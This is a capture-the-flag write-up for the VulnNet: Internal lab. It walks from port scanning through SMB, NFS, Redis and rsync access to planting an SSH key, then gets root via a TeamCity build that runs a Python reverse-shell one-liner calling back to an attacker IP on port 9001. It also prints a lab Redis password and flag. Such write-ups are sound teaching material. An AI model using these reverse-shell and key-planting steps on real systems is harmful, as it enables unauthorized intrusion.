

VULNET: INTERNAL CTF Write-up Thembinkosi Zililo

"VulnNet Entertainment is a company that learns from its mistakes. They quickly realized that they can't make a properly secured web application so they gave up on that idea. Instead, they decided to set up internal services for business purposes. As usual, you're tasked to perform a penetration test of their network and report your findings."

In this challenge, there are no clues in the statements, so the first step was to run port enumeration. The command `nmap -Sv -p- <IP>` was ran with the option `-p-` to scan all open ports and `-sV` to show the versions of the running services. Various ports were interesting, and that helped give direction to the assessment.

```
SYN Stealth Scan Timing: About 90.73% done; ETC: 15:23 (0:03:54 remaining)
Nmap scan report for 10.112.178.33
Host is up (0.18s latency).
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
873/tcp   open  rsync       (protocol version 31)
2049/tcp  open  nfs         3-4 (RPC #100003)
6379/tcp  open  redis       Redis key-value store
9090/tcp  filtered zeus-admin
37227/tcp open  mountd      1-3 (RPC #100005)
40425/tcp open  mountd      1-3 (RPC #100005)
45067/tcp open  java-rmi    Java RMI
46797/tcp open  nlockmgr    1-4 (RPC #100021)
54519/tcp open  mountd      1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

After analysing the nmap results, the smb service was found running on ports 139 and 445. This service allows network file sharing. Smb shares enumeration was done.

```
-$ smbclient -L //10.112.178.33/ -N

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
shares         Disk      VulnNet Business Shares
IPC$           IPC       IPC Service (ip-10-112-178-33 server (Samba, Ubuntu))
```

The share named shares allowed anonymous login and had two directories that had some files that were not really useful. The first flag required was in the temp directory.

After not getting any information useful for gaining further access to the target, I went back to the nmap results and started with the NFS service

running on port 2049. This service allows the user to mount a directory from the target machine on the host machine.

```
(urahara@Hogyoku)~$ showmount -e 10.112.178.33
Export list for 10.112.178.33:
/opt/conf *

(urahara@Hogyoku)~$ mkdir /tmp/mt

(urahara@Hogyoku)~$ mount -t nfs 10.112.178.33:/opt/conf /tmp/mt -nolock
mount.nfs: failed to apply fstab options

(urahara@Hogyoku)~$ sudo mount -t nfs 10.112.178.33:/opt/conf /tmp/mt -nolock
[sudo] password for urahara:

(urahara@Hogyoku)~$ cd /tmp/mt

(urahara@Hogyoku)~/tmp/mt$ ls
hp init opt profile.d redis vim wildmidi
```

The directory named “/opt/conf” was found, and after exploring it, a redis folder was found. Redis is an in-memory key-value database. This folder had a file containing a redis password. This allowed me to log in to redis-cli. (The flag is in the “internal flag” key)

```
(urahara@Hogyoku)~$ redis-cli -h 10.112.178.33 -a B65Hx562F@ggAZ@F
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.112.178.33:6379> keys
(error) ERR wrong number of arguments for 'keys' command
10.112.178.33:6379> keys *
1) "tmp"
2) "internal flag"
3) "int"
4) "marketlist"
5) "authlist"
10.112.178.33:6379> get "internal flag"
"TMH{ff8e518addb0db74531a724236a8221}"
```

After login, there was an “authlist” key which had encoded credentials. After decoding, the encoding directed us to use the credentials in rsync login. Rsync service allows the user to sync directories.

```
(urahara@Hogyoku)~/tmp/mt/redis$ rsync --list-only rsync://rsync-connect@10.112.178.33/files
files
Necessary home interaction

(urahara@Hogyoku)~/tmp/mt/redis$ rsync --list-only rsync://rsync-connect@10.112.178.33/files
Password:
drwxr-xr-x 4,096 2026/07/23 14:31:16 .
drwxr-xr-x 4,096 2025/06/28 18:16:36 ssm-user
drwxr-xr-x 4,096 2021/02/06 14:49:29 sys-internal
drwxr-xr-x 4,096 2026/07/23 14:31:16 ubuntu
```

```
(urahara@Hogyoku)~/tmp/mt/redis$ rsync --list-only rsync://rsync-connect@10.112.178.33/files/sys-internal/.ssh/
Password:
drwxrwxr-x 4,096 2021/02/06 13:43:14 .
```

After enumerating the directories, a /.ssh folder was found empty with write permissions. This would allow an attacker to generate an SSH key and sync it to the SSH folder using rsync.

```
(urahara@Hogyoku)~$ ssh-keygen -f ./id_rsa
Generating public/private ed25519 key pair.
Enter passphrase for './id_rsa' (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
```

After syncing it to the /.ssh folder, this manipulates the target machine into using the attacker’s ssh key to authorize the ssh login. The command

chmod 600 id_rsa gives the attacker full access while restricting everyone else.

```
urahara@Hogyoku:~$ cp id_rsa.pub authorized_keys
urahara@Hogyoku:~$ rsync -av authorized_keys rsync://rsync-connect@10.112.178.33/files/sys-internal/.ssh
Password:
sending incremental file list
authorized_keys

sent 216 bytes  received 35 bytes  33.47 bytes/sec
total size is 97  speedup is 0.39
urahara@Hogyoku:~$ chmod 600 id_rsa
urahara@Hogyoku:~$ ssh -i id_rsa sys-internal@10.112.178.33
The authenticity of host '10.112.178.33 (10.112.178.33)' can't be established.
ED25519 key fingerprint is: SHA256:atIDifsEZOkmDq8Foi998Vz/7LS0E5sCreK8yUteXs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.112.178.33' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
```

```
sys-internal@ip-10-112-178-33:~$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt Videos
sys-internal@ip-10-112-178-33:~$ whoami
sys-internal
sys-internal@ip-10-112-178-33:~$ cd ..
sys-internal@ip-10-112-178-33:/home$ cd ..
sys-internal@ip-10-112-178-33:/ $ ls
bin  dev  home  initrd.img.old  lib64  media  opt  root  sbin  srv  sys  usr  var  vmlinuz.old
boot  etc  initrd.img  lib  lost+found  mnt  proc  run  snap  swapfile  TeamCity  vmlinuz
sys-internal@ip-10-112-178-33:/ $ cd root
-bash: cd: root: Permission denied
```

After successfully gaining low-privilege user shell access. The attacker enumerated folders and found the TeamCity folder. TeamCity allows developers to automate projects across multiple platforms. This could allow an attacker to build and run malicious code on TeamCity to attack the target. After enumerating the logs, the attacker found an access token to access TeamCity.

```
sys-internal@ip-10-112-178-33:/TeamCity/logs$ ls -la
total 892
drwxr-xr-x  2 root root  4096 Jul 23 14:32 .
drwxr-xr-x 12 root root  4096 Feb  6  2021 ..
-rw-r----- 1 root root 12493 Feb  6  2021 catalina.2021-02-06.log
-rw-r----- 1 root root  8132 Feb  7  2021 catalina.2021-02-07.log
-rw-r----- 1 root root 12071 Apr 27  2025 catalina.2025-04-27.log
-rw-r----- 1 root root 35751 Jun 28  2025 catalina.2025-06-28.log
-rw-r----- 1 root root  6038 Jul 23 14:32 catalina.2026-07-23.log
-rw-r--r-- 1 root root 294584 Jul 23 14:48 catalina.out
```

To connect to the TeamCity webpage, ssh was used. A malicious code was generated and ran on TeamCity, while listening to the connection with netcat.

```
urahara@Hogyoku:~$ ssh -i id_rsa sys-internal@10.112.178.33 -L 8111:127.0.0.1:8111
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
# Documentation: https://help.ubuntu.com
```

```
🚀 python3 -c 'import
socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.con
nect(("192.168.150.128", 9001)); os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("/bin/
bash")'
```

```
(urahara@Hogyoku)-[~]
$ nc -lvp 9001
listening on [any] 9001 ...
connect to [192.168.150.128] from (UNKNOWN) [10.112.178.33] 37128
root@ip-10-112-178-33:/TeamCity/buildAgent/work/2b35ac7e0452d98f# whoami
root
```

And through this attack chain, the attacker gained root access to the target machine.